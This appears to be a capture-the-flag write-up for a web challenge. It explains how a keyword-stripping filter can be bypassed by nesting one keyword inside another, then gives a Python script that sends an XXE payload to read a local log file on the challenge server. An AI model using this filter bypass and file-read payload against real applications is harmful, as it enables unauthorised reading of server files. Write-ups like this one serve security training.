Wizer - Challenge 35 - XXE with recursive waf bypass

This was a FUN one.

The app was implementing this WAF:

const removeSubstringSecurely = function(text, substring) {
    if (String(text).includes(substring)) {
        return removeSubstringSecurely(text.replace(substring, ''), substring);
    }
    return text;
}

const sanitizeInput = (input) => {
    let text = removeSubstringSecurely(input, "<!");
    text = removeSubstringSecurely(text, "SYSTEM");
    text = removeSubstringSecurely(text, "ENTITY");
    text = removeSubstringSecurely(text, "DOCTYPE");
    return text;
}

It is in fact removing the keywords recursively, but in order, so if we put the following:

<DOCTYPE!ENDOCTYPETITY

Every DOCTYPE keyword match is going to be removed, leaving us with a valid <!ENTITY tag.

Exploit

import requests

url = "https://chal35-g7sg4j.vercel.app"

r = requests.post(url + "/getCRMUsers", json={
    "apiKey": "pelele"
})

print(r.text)


# waf removing recursively but only the same keyword, not others

r = requests.post(url + "/createCard", json={
    "firstName": "\"><DOCTYPE!ENDOCTYPETITY xxe SYSTEDOCTYPEM \"file:///tmp/last_req.log",
    "role": "&xxe;"
})

print(r.text)